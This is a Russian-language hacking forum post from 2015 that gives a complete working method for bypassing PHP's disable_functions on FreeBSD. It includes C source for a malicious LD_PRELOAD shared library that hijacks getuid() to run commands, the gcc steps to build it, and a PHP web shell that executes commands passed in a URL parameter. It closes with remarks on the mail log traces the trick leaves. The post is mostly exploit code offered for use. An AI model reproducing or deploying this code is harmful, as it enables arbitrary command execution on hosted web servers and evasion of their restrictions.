Показать сообщение отдельно
Старый 29.06.2015, 10:59   #16
ewi
 
Регистрация: 02.04.2014
Сообщений: 75
Репутация: 2
По умолчанию

Bug #46741

Отработал на 100%
=)

https://bugs.php.net/bug.php?id=46741

Ещё раз исходная тема:
Цитата:
FreeBSD *** 9.1-RELEASE FreeBSD 9.1-RELEASE #0 r243825: Tue Dec 4 09:23:10 UTC 2012
Disabled PHP Functions: exec,passthru,shell_exec,system,proc_open,popen,cu rl_multi_exec,parse_ini_file,show_source
К тому же напоминаю неслабую версию php:
Цитата:
PHP: 5.4.14
Итак, чтобы скомпилить .so, я выбрал сервак с похожей фряхой, где доступна gcc (хотя может и без разницы какая система, хз)

Цитата:
FreeBSD **** 9.0-STABLE FreeBSD 9.0-STABLE #7: Mon Jun 18 17:34:21 MSK 2012
Код:
 $ gcc
gcc: No input files specified
a.c (вместо /var/www/ - путь на исходной системе, где будет лежать so):
Код:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int getuid()
{
char *en;
char *buf=malloc(300);
FILE *a;

unsetenv("LD_PRELOAD");
a=fopen("/var/www/.comm","r");
buf=fgets(buf,100,a);
write(2,buf,strlen(buf));
fclose(a); remove("/var/www/.comm");
rename("/var/www/a.so","/var/www/b.so");
buf=strcat(buf," > /var/www/.comm1");
system(buf);
rename("/var/www/b.so","/var/www/a.so");
free(buf);return 0;
}
Цитата:
$ gcc -c -fPIC a.c -o a.o
$ gcc a.o -shared -o a.so
теперь берем .so и кидаем на исходной фряхе по тому пути, что указали в си-файле

a.php (путь /var/www/ меняем точно как в .so)

Код:
<?php
putenv("LD_PRELOAD=/var/www/a.so");
$a=fopen("/var/www/.comm","w");
fputs($a,$_GET["c"]);
fclose($a);
mail("a","a","a","a");
$a=fopen("/var/www/.comm1","r");
while (!feof($a))
{$b=fgets($a);echo $b;}
fclose($a); ?>
Профит!
Цитата:
a.php?c=id
Супер-благодарность Beched

P.S. Использование mail оставляет палевные логи, так как выполняется отправка на несуществующий адрес "a". Ответ приходит на внутреннюю почту юзера, под учеткой которого осуществляется выполнение скрипта (то есть если это www то на почту www, root - значит почта root). Чтение и чистка записей выполняется шелл-командой mail.

Последний раз редактировалось ewi; 07.07.2015 в 14:28.. Причина: дополнение
ewi вне форума   Ответить с цитированием